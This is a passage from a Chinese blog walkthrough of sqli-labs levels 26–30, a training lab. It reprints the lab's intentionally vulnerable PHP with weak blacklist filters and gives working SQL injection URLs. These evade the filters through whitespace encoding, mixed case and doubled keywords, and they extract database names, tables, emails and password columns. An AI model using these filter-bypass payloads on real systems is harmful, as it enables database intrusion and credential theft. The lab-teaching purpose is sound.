  23.     fwrite($fp,'ID:'.$id."\n");  
  24.     fclose($fp);  
  25.   
  26.     //fiddling with comments  
  27.     $id= blacklist($id);  
  28.     //echo "<br>";  
  29.     //echo $id;  
  30.     //echo "<br>";  
  31.     $hint=$id;  
  32.   
  33. // connectivity   
  34.     $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";  
  35.     $result=mysql_query($sql);  
  36.     $row = mysql_fetch_array($result);  
  37.     if($row)  
  38.     {  
  39.         echo "<font size='5' color= '#99FF00'>";    
  40.         echo 'Your Login name:'. $row['username'];  
  41.         echo "<br>";  
  42.         echo 'Your Password:' .$row['password'];  
  43.         echo "</font>";  
  44.     }  
  45.     else   
  46.     {  
  47.         echo '<font color= "#FFFF00">';  
  48.         print_r(mysql_error());  
  49.         echo "</font>";    
  50.     }  
  51. }  
  52.     else { echo "Please input the ID as parameter with numeric value";}  
  53.   
  54.   
  55.   
  56.   
  57. function blacklist($id)  
  58. {  
  59.     $id= preg_replace('/or/i',"", $id);         //strip out OR (non case sensitive)  
  60.     $id= preg_replace('/and/i',"", $id);        //Strip out AND (non case sensitive)  
  61.     $id= preg_replace('/[\/\*]/',"", $id);      //strip out /*  
  62.     $id= preg_replace('/[--]/',"", $id);        //Strip out --  
  63.     $id= preg_replace('/[#]/',"", $id);         //Strip out #  
  64.     $id= preg_replace('/[\s]/',"", $id);        //Strip out spaces  
  65.     $id= preg_replace('/[\/\\\\]/',"", $id);        //Strip out slashes  
  66.     return $id;  
  67. }  
  68.   
  69.   
  70.   
  71. ?>  
  72. </font> </div></br></br></br><center>  
  73. <img src="../images/Less-26.jpg" />  
  74. </br>  
  75. </br>  
  76. </br>  
  77. <img src="../images/Less-26-1.jpg" />  
  78. </br>  
  79. </br>  
  80. <font size='4' color= "#33FFFF">  
  81. <?php  
  82. echo "Hint: Your Input is Filtered with following result: ".$hint;  
  83. ?>  
  84. </font>   
  85. </center>  
  86. </body>  
  87. </html>  


[plain]  view plain  copy
  1. 确认过滤了#    
  2. http://localhost/sqli-labs/Less-26/?id=%231    
  3. 确认过滤了or    
  4. http://localhost/sqli-labs/Less-26/?id=or1    
  5. 确认过滤多行注释符    
  6. http://localhost/sqli-labs/Less-26/?id=/*1    
  7. 确认过滤了单行注释    
  8. http://localhost/sqli-labs/Less-26/?id=--1   
  9. 确认过滤了斜杠    
  10. http://localhost/sqli-labs/Less-26/?id=/1    
  11. 确认过滤了反斜杠    
  12. http://localhost/sqli-labs/Less-26/?id=1\    
  13. 确认过滤了空格    
  14. http://localhost/sqli-labs/Less-26/?id=1' ' '    


看下源码:

[plain]  view plain  copy
  1. $id= preg_replace('/or/i',"", $id);  
  2. $id= preg_replace('/and/i',"", $id);  
  3. $id= preg_replace('/[\/\*]/',"", $id);  
  4. $id= preg_replace('/[--]/',"", $id);  
  5. $id= preg_replace('/[#]/',"", $id);  
  6. $id= preg_replace('/[\s]/',"", $id);  
  7. $id= preg_replace('/[\/\\\\]/',"", $id);  


将空格,or,and,/*,#,--,/等各种符号过滤,此处对于and,or的处理方法不再赘述,参考25.此处我们需要说明两方面:对于注释和结尾字符的我们此处只能利用构造一个 ' 来闭合后面到 ' ;对于空格,有较多的方法:

%09 TAB键(水平)

%0a 新建一行

%0c 新的一页

%0d return功能

%0b TAB键(垂直)

%a0 空格


注意:本关可能有的朋友在windows下无法使用一些特殊的字符代替空格,此处是因为apache的解析的问题,这里请更换到linux平台下。


不过还是想到一个不用半个空格就可以获取信息的方法,构建如下语句:

[plain]  view plain  copy
  1. http://localhost/sqli-labs-master/Less-26/?id=-1%27||extractvalue(1,concat(0x7e,database()))||'1'='1  


遗憾的是只能获取一些少量信息,由于我的平台是windows的,就不给大家演示Linux下的了,直接给出payload:

[plain]  view plain  copy
  1. 确认字段数    
  2. http://localhost/sqli-labs/Less-26/?id=0%27union%a0select%a01,2,3,4%a0%26%26%a0%271%27=%271    
  3. http://localhost/sqli-labs/Less-26/?id=0%27union%a0select%a01,2,3%a0%26%26%a0%271%27=%271    
  4. 获取当前使用的数据库    
  5. http://localhost/sqli-labs/Less-26/?id=0%27union%a0select%a01,database(),3%a0%26%26%a0%271%27=%271    
  6. 获取表信息    
  7. http://localhost/sqli-labs/Less-26/?id=0%27union%a0select%a01,group_concat(table_name),3%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema='security'%26%26%a0%271%27=%271    
  8. 获取列信息    
  9. http://localhost/sqli-labs/Less-26/?id=0%27union%a0select%a01,group_concat(column_name),3%a0from%a0infoorrmation_schema.columns%a0where%a0table_schema='security'%a0anandd%a0table_name='emails'%26%26%a0%271%27=%271    
  10. 获取数据,  
  11. http://localhost/sqli-labs/Less-26/?id=0%27%a0union%a0select%a01,group_concat(email_id),3%a0from%a0emails%a0union%a0select(1),2,'3   
  12. http://localhost/sqli-labs/Less-26/?id=0%27%a0union%a0select%a01,group_concat(email_id),3%a0from%a0emails%a0where%a0%271%27=%271    

Less-26a  过滤了空格和注释的盲注


先打开网页查看 Welcome Dhakkan


②查看源代码:

[plain]  view plain  copy
  1. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">  
  2. <html xmlns="http://www.w3.org/1999/xhtml">  
  3. <head>  
  4. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />  
  5. <title>Less-26a Trick with comments</title>  
  6. </head>  
  7.   
  8. <body bgcolor="#000000">  
  9. <div style=" margin-top:70px;color:#FFF; font-size:40px; text-align:center">Welcome   <font color="#FF0000"> Dhakkan </font><br>  
  10. <font size="3" color="#FFFF00">  
  11.   
  12.   
  13. <?php  
  14. //including the Mysql connect parameters.  
  15. include("../sql-connections/sql-connect.php");  
  16.   
  17. // take the variables   
  18. if(isset($_GET['id']))  
  19. {  
  20.     $id=$_GET['id'];  
  21.     //logging the connection parameters to a file for analysis.  
  22.     $fp=fopen('result.txt','a');  
  23.     fwrite($fp,'ID:'.$id."\n");  
  24.     fclose($fp);  
  25.   
  26.     //fiddling with comments  
  27.     $id= blacklist($id);  
  28.     //echo "<br>";  
  29.     //echo $id;  
  30.     //echo "<br>";  
  31.     $hint=$id;  
  32.   
  33. // connectivity   
  34.     $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";  
  35.     $result=mysql_query($sql);  
  36.     $row = mysql_fetch_array($result);  
  37.     if($row)  
  38.     {  
  39.         echo "<font size='5' color= '#99FF00'>";    
  40.         echo 'Your Login name:'. $row['username'];  
  41.         echo "<br>";  
  42.         echo 'Your Password:' .$row['password'];  
  43.         echo "</font>";  
  44.     }  
  45.     else   
  46.     {  
  47.         echo '<font color= "#FFFF00">';  
  48.         //print_r(mysql_error());  
  49.         echo "</font>";    
  50.     }  
  51. }  
  52.     else { echo "Please input the ID as parameter with numeric value";}  
  53.   
  54.   
  55.   
  56.   
  57. function blacklist($id)  
  58. {  
  59.     $id= preg_replace('/or/i',"", $id);         //strip out OR (non case sensitive)  
  60.     $id= preg_replace('/and/i',"", $id);        //Strip out AND (non case sensitive)  
  61.     $id= preg_replace('/[\/\*]/',"", $id);      //strip out /*  
  62.     $id= preg_replace('/[--]/',"", $id);        //Strip out --  
  63.     $id= preg_replace('/[#]/',"", $id);         //Strip out #  
  64.     $id= preg_replace('/[\s]/',"", $id);        //Strip out spaces  
  65.     $id= preg_replace('/[\s]/',"", $id);        //Strip out spaces  
  66.     $id= preg_replace('/[\/\\\\]/',"", $id);        //Strip out slashes  
  67.     return $id;  
  68. }  
  69.   
  70.   
  71.   
  72. ?>  
  73. </font> </div></br></br></br><center>  
  74. <img src="../images/Less-26-a.jpg" />  
  75. </br>  
  76. </br>  
  77. </br>  
  78. <img src="../images/Less-26a-1.jpg" />  
  79. </br>  
  80. </br>  
  81. <font size='4' color= "#33FFFF">  
  82. <?php  
  83. echo "Hint: Your Input is Filtered with following result: ".$hint;  
  84. ?>  
  85. </font>   
  86. </center>  
  87. </body>  
  88. </html>  

这关与26的区别在于,sql语句添加了一个括号,同时在sql语句执行抛出错误后并不在前台页面输出。所有我们排除报错注入,这里依旧是利用union注入,构造payload:

[plain]  view plain  copy
  1. http://localhost/sqli-labs-master/Less-26a/?id=-1')union%a0select%a01,2,3||('1  

同时该例可以利用延时注入。前面已经有介绍了,自行构造即可。


Less-27 过滤了union和select的


先打开网页查看 Welcome Dhakkan


②查看源代码:

[plain]  view plain  copy
  1. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">  
  2. <html xmlns="http://www.w3.org/1999/xhtml">  
  3. <head>  
  4. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />  
  5. <title>Less-27 Trick with SELECT & UNION</title>  
  6. </head>  
  7.   
  8. <body bgcolor="#000000">  
  9. <div style=" margin-top:70px;color:#FFF; font-size:40px; text-align:center">Welcome   <font color="#FF0000"> Dhakkan </font><br>  
  10. <font size="3" color="#FFFF00">  
  11.   
  12.   
  13. <?php  
  14. //including the Mysql connect parameters.  
  15. include("../sql-connections/sql-connect.php");  
  16.   
  17. // take the variables   
  18. if(isset($_GET['id']))  
  19. {  
  20.     $id=$_GET['id'];  
  21.     //logging the connection parameters to a file for analysis.  
  22.     $fp=fopen('result.txt','a');  
  23.     fwrite($fp,'ID:'.$id."\n");  
  24.     fclose($fp);  
  25.   
  26.     //fiddling with comments  
  27.     $id= blacklist($id);  
  28.     //echo "<br>";  
  29.     //echo $id;  
  30.     //echo "<br>";  
  31.     $hint=$id;  
  32.   
  33. // connectivity   
  34.     $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";  
  35.     $result=mysql_query($sql);  
  36.     $row = mysql_fetch_array($result);  
  37.     if($row)  
  38.     {  
  39.         echo "<font size='5' color= '#99FF00'>";    
  40.         echo 'Your Login name:'. $row['username'];  
  41.         echo "<br>";  
  42.         echo 'Your Password:' .$row['password'];  
  43.         echo "</font>";  
  44.     }  
  45.     else   
  46.     {  
  47.         echo '<font color= "#FFFF00">';  
  48.         print_r(mysql_error());  
  49.         echo "</font>";    
  50.     }  
  51. }  
  52.     else { echo "Please input the ID as parameter with numeric value";}  
  53.   
  54.   
  55.   
  56.   
  57. function blacklist($id)  
  58. {  
  59. $id= preg_replace('/[\/\*]/',"", $id);      //strip out /*  
  60. $id= preg_replace('/[--]/',"", $id);        //Strip out --.  
  61. $id= preg_replace('/[#]/',"", $id);         //Strip out #.  
  62. $id= preg_replace('/[ +]/',"", $id);        //Strip out spaces.  
  63. $id= preg_replace('/select/m',"", $id);     //Strip out spaces.  
  64. $id= preg_replace('/[ +]/',"", $id);        //Strip out spaces.  
  65. $id= preg_replace('/union/s',"", $id);      //Strip out union  
  66. $id= preg_replace('/select/s',"", $id);     //Strip out select  
  67. $id= preg_replace('/UNION/s',"", $id);      //Strip out UNION  
  68. $id= preg_replace('/SELECT/s',"", $id);     //Strip out SELECT  
  69. $id= preg_replace('/Union/s',"", $id);      //Strip out Union  
  70. $id= preg_replace('/Select/s',"", $id);     //Strip out select  
  71. return $id;  
  72. }  
  73.   
  74.   
  75.   
  76. ?>  
  77. </font> </div></br></br></br><center>  
  78. <img src="../images/Less-27.jpg" />  
  79. </br>  
  80. </br>  
  81. </br>  
  82. <img src="../images/Less-27-1.jpg" />  
  83. </br>  
  84. </br>  
  85. <font size='4' color= "#33FFFF">  
  86. <?php  
  87. echo "Hint: Your Input is Filtered with following result: ".$hint;  
  88. ?>  
  89. </font>   
  90. </center>  
  91. </body>  
  92. </html>  


本关主要考察将union,select和26关过滤掉的字符。此处我们依旧和26关的方式是一样的,只需要将union和select改为大小写混合就可以突破。


首先判断为单引号型:
[plain]  view plain  copy
  1. http://localhost/sqli-labs/Less-27/?id=1'  

直接上payload,获取数据库:
[plain]  view plain  copy
  1. http://localhost/sqli-labs-master/Less-27/?id=100%27%09UnIon%09SeLect%091,database(),3||%271  


获取表:
[plain]  view plain  copy
  1. http://localhost/sqli-labs-master/Less-27/?id=%27%09uNion%09sElect%091,group_concat(table_name),3%09from%09information_schema.tables%09where%09table_schema=%27security%27%09uNion%09sElect%091,2,%273  

获取用户信息:
[plain]  view plain  copy
  1. http://localhost/sqli-labs-master/Less-27/?id=%27%09uNion%09sElect%091,(group_concat(username)),(group_concat(password))%09from%09users%09uNion%09sElect%091,2,%273  


Less-27a Less27的盲注版本


先打开网页查看 Welcome Dhakkan


②查看源代码:
[plain]  view plain  copy
  1. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">  
  2. <html xmlns="http://www.w3.org/1999/xhtml">  
  3. <head>  
  4. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />  
  5. <title>Less-27 Trick with SELECT & UNION</title>  
  6. </head>  
  7.   
  8. <body bgcolor="#000000">  
  9. <div style=" margin-top:70px;color:#FFF; font-size:40px; text-align:center">Welcome   <font color="#FF0000"> Dhakkan </font><br>  
  10. <font size="3" color="#FFFF00">  
  11.   
  12.   
  13. <?php  
  14. //including the Mysql connect parameters.  
  15. include("../sql-connections/sql-connect.php");  
  16.   
  17. // take the variables   
  18. if(isset($_GET['id']))  
  19. {  
  20.     $id=$_GET['id'];  
  21.     //logging the connection parameters to a file for analysis.  
  22.     $fp=fopen('result.txt','a');  
  23.     fwrite($fp,'ID:'.$id."\n");  
  24.     fclose($fp);  
  25.   
  26.     //fiddling with comments  
  27.     $id= blacklist($id);  
  28.     //echo "<br>";  
  29.     //echo $id;  
  30.     //echo "<br>";  
  31.     $hint=$id;  
  32.     $id = '"' .$id. '"';  
  33.   
  34. // connectivity   
  35.     $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";  
  36.     $result=mysql_query($sql);  
  37.     $row = mysql_fetch_array($result);  
  38.     if($row)  
  39.     {  
  40.         echo "<font size='5' color= '#99FF00'>";    
  41.         echo 'Your Login name:'. $row['username'];  
  42.         echo "<br>";  
  43.         echo 'Your Password:' .$row['password'];  
  44.         echo "</font>";  
  45.     }  
  46.     else   
  47.     {  
  48.         echo '<font color= "#FFFF00">';  
  49.         //print_r(mysql_error());  
  50.         echo "</font>";    
  51.     }  
  52. }  
  53.     else { echo "Please input the ID as parameter with numeric value";}  
  54.   
  55.   
  56.   
  57.   
  58. function blacklist($id)  
  59. {  
  60. $id= preg_replace('/[\/\*]/',"", $id);      //strip out /*  
  61. $id= preg_replace('/[--]/',"", $id);        //Strip out --.  
  62. $id= preg_replace('/[#]/',"", $id);         //Strip out #.  
  63. $id= preg_replace('/[ +]/',"", $id);        //Strip out spaces.  
  64. $id= preg_replace('/select/m',"", $id);     //Strip out spaces.  
  65. $id= preg_replace('/[ +]/',"", $id);        //Strip out spaces.  
  66. $id= preg_replace('/union/s',"", $id);      //Strip out union  
  67. $id= preg_replace('/select/s',"", $id);     //Strip out select  
  68. $id= preg_replace('/UNION/s',"", $id);      //Strip out UNION  
  69. $id= preg_replace('/SELECT/s',"", $id);     //Strip out SELECT  
  70. $id= preg_replace('/Union/s',"", $id);      //Strip out Union  
  71. $id= preg_replace('/Select/s',"", $id);     //Strip out Select  
  72. return $id;  
  73. }  
  74.   
  75.   
  76.   
  77. ?>  
  78. </font> </div></br></br></br><center>  
  79. <img src="../images/Less-27a.jpg" />  
  80. </br>  
  81. </br>  
  82. </br>  
  83. <img src="../images/Less-27a-1.jpg" />  
  84. </br>  
  85. </br>  
  86. <font size='4' color= "#33FFFF">  
  87. <?php  
  88. echo "Hint: Your Input is Filtered with following result: ".$hint;  
  89. ?>  
  90. </font>   
  91. </center>  
  92. </body>  
  93. </html>  


本关与27关的区别在于对于id的处理,这里用的是 " ,同时mysql的错误不会在前端页面显示,可以用延时注入或者union注入,union注入只要把27给出的payload里的单引号改成双引号就行了,
我们直接给出一个示例payload(延时):
[plain]  view plain  copy
  1. http://localhost/sqli-labs-master/Less-27a/?id=1"and(length(database())>7)%09uNion%09sElect%091,2,"3  


Less-28 基于错误的,有括号的单引号字符型,过滤了union和select等的注入


先打开网页查看 Welcome Dhakkan


②查看源代码:
[plain]  view plain  copy
  1. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">  
  2. <html xmlns="http://www.w3.org/1999/xhtml">  
  3. <head>  
  4. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />  
  5. <title>Less-28 Trick with SELECT & UNION</title>  
  6. </head>  
  7.   
  8. <body bgcolor="#000000">  
  9. <div style=" margin-top:70px;color:#FFF; font-size:40px; text-align:center">Welcome   <font color="#FF0000"> Dhakkan </font><br>  
  10. <font size="3" color="#FFFF00">  
  11.   
  12.   
  13. <?php  
  14. //including the Mysql connect parameters.  
  15. include("../sql-connections/sql-connect.php");  
  16.   
  17. // take the variables   
  18. if(isset($_GET['id']))  
  19. {  
  20.     $id=$_GET['id'];  
  21.     //logging the connection parameters to a file for analysis.  
  22.     $fp=fopen('result.txt','a');  
  23.     fwrite($fp,'ID:'.$id."\n");  
  24.     fclose($fp);  
  25.   
  26.     //fiddling with comments  
  27.     $id= blacklist($id);  
  28.     //echo "<br>";  
  29.     //echo $id;  
  30.     //echo "<br>";  
  31.     $hint=$id;  
  32.   
  33. // connectivity   
  34.     $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";  
  35.     $result=mysql_query($sql);  
  36.     $row = mysql_fetch_array($result);  
  37.     if($row)  
  38.     {  
  39.         echo "<font size='5' color= '#99FF00'>";    
  40.         echo 'Your Login name:'. $row['username'];  
  41.         echo "<br>";  
  42.         echo 'Your Password:' .$row['password'];  
  43.         echo "</font>";  
  44.     }  
  45.     else   
  46.     {  
  47.         echo '<font color= "#FFFF00">';  
  48.         //print_r(mysql_error());  
  49.         echo "</font>";    
  50.     }  
  51. }  
  52.     else { echo "Please input the ID as parameter with numeric value";}  
  53.   
  54.   
  55.   
  56.   
  57. function blacklist($id)  
  58. {  
  59. $id= preg_replace('/[\/\*]/',"", $id);              //strip out /*  
  60. $id= preg_replace('/[--]/',"", $id);                //Strip out --.  
  61. $id= preg_replace('/[#]/',"", $id);                 //Strip out #.  
  62. $id= preg_replace('/[ +]/',"", $id);                //Strip out spaces.  
  63. //$id= preg_replace('/select/m',"", $id);               //Strip out spaces.  
  64. $id= preg_replace('/[ +]/',"", $id);                //Strip out spaces.  
  65. $id= preg_replace('/union\s+select/i',"", $id);     //Strip out UNION & SELECT.  
  66. return $id;  
  67. }  
  68.   
  69.   
  70.   
  71. ?>  
  72. </font> </div></br></br></br><center>  
  73. <img src="../images/Less-28.jpg" />  
  74. </br>  
  75. </br>  
  76. </br>  
  77. <img src="../images/Less-28-1.jpg" />  
  78. </br>  
  79. </br>  
  80. <font size='4' color= "#33FFFF">  
  81. <?php  
  82. echo "Hint: Your Input is Filtered with following result: ".$hint;  
  83. ?>  
  84. </font>   
  85. </center>  
  86. </body>  
  87. </html>  

重要的区别在这句代码:
[plain]  view plain  copy
  1. $id= preg_replace('/union\s+select/i',"", $id);  

那个i表示匹配的模式,i是忽略大小写,\s就是匹配任意空白字符,制表符啊,换行啊空格啊等,那我们中间不加空格能绕过吧。

直接给出payload:
[plain]  view plain  copy
  1. http://localhost/sqli-labs-master/Less-28/?id=100')union%09select(1),(user()),(3)||('1  


Less-28a 基于盲注的,有括号的单引号字符型,过滤了union和select等的注入


先打开网页查看 Welcome Dhakkan



②查看源代码:
[plain]  view plain  copy
  1. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">  
  2. <html xmlns="http://www.w3.org/1999/xhtml">  
  3. <head>  
  4. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />  
  5. <title>Less-28a Trick with SELECT & UNION</title>  
  6. </head>  
  7.   
  8. <body bgcolor="#000000">  
  9. <div style=" margin-top:70px;color:#FFF; font-size:40px; text-align:center">Welcome   <font color="#FF0000"> Dhakkan </font><br>  
  10. <font size="3" color="#FFFF00">  
  11.   
  12.   
  13. <?php  
  14. //including the Mysql connect parameters.  
  15. include("../sql-connections/sql-connect.php");  
  16.   
  17. // take the variables   
  18. if(isset($_GET['id']))  
  19. {  
  20.     $id=$_GET['id'];  
  21.     //logging the connection parameters to a file for analysis.  
  22.     $fp=fopen('result.txt','a');  
  23.     fwrite($fp,'ID:'.$id."\n");  
  24.     fclose($fp);  
  25.   
  26.     //fiddling with comments  
  27.     $id= blacklist($id);  
  28.     //echo "<br>";  
  29.     //echo $id;  
  30.     //echo "<br>";  
  31.     $hint=$id;  
  32.   
  33. // connectivity   
  34.     $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";  
  35.     $result=mysql_query($sql);  
  36.     $row = mysql_fetch_array($result);  
  37.     if($row)  
  38.     {  
  39.         echo "<font size='5' color= '#99FF00'>";    
  40.         echo 'Your Login name:'. $row['username'];  
  41.         echo "<br>";  
  42.         echo 'Your Password:' .$row['password'];  
  43.         echo "</font>";  
  44.     }  
  45.     else   
  46.     {  
  47.         echo '<font color= "#FFFF00">';  
  48.         //print_r(mysql_error());  
  49.         echo "</font>";    
  50.     }  
  51. }  
  52.     else { echo "Please input the ID as parameter with numeric value";}  
  53.   
  54.   
  55.   
  56.   
  57. function blacklist($id)  
  58. {  
  59. //$id= preg_replace('/[\/\*]/',"", $id);                //strip out /*  
  60. //$id= preg_replace('/[--]/',"", $id);              //Strip out --.  
  61. //$id= preg_replace('/[#]/',"", $id);                   //Strip out #.  
  62. //$id= preg_replace('/[ +]/',"", $id);              //Strip out spaces.  
  63. //$id= preg_replace('/select/m',"", $id);               //Strip out spaces.  
  64. //$id= preg_replace('/[ +]/',"", $id);              //Strip out spaces.  
  65. $id= preg_replace('/union\s+select/i',"", $id);     //Strip out spaces.  
  66. return $id;  
  67. }  
  68.   
  69.   
  70.   
  71. ?>  
  72. </font> </div></br></br></br><center>  
  73. <img src="../images/Less-28a.jpg" />  
  74. </br>  
  75. </br>  
  76. </br>  
  77. <img src="../images/Less-28a-1.jpg" />  
  78. </br>  
  79. </br>  
  80. <font size='4' color= "#33FFFF">  
  81. <?php  
  82. echo "Hint: Your Input is Filtered with following result: ".$hint;  
  83. ?>  
  84. </font>   
  85. </center>  
  86. </body>  
  87. </html>  

本关与28基本一致,只是过滤条件少了几个,直接给出payload:
[plain]  view plain  copy
  1. http://localhost/sqli-labs-master/Less-28a/?id=1')and(length(database())>7)%09uNion%09sElect%091,2,('3  


关于 29,30,31 这三关的基本情况:请参考此链接:http://www.cnblogs.com/lcamry/p/5762961.html


[*] Less-29 基于WAF的一个错误


先打开网页查看 Welcome Dhakkan


②首先先看下tomcat中的index.jsp文件


在apache的index.php中,sql语句为:

[plain]  view plain  copy
  1. sql="SELECT ∗ FROM users WHERE id='id' LIMIT 0,1";  

我们根据HPP的原理,我们直接payload:
[plain]  view plain  copy
  1. http://localhost/sqli-labs-master/Less-29/index.jsp?id=1&id=-2' union select 1,database(),3 or '1'='1  


Less-30 基于错误的POST型单引号字符型注入


先打开网页查看 Welcome Dhakkan


于之前的区别不过是在这个位置:

[plain]  view plain  copy
  1. $id = '"' .$id. '"';  
  2. $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";  


不用说都知道怎么改了吧。


评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值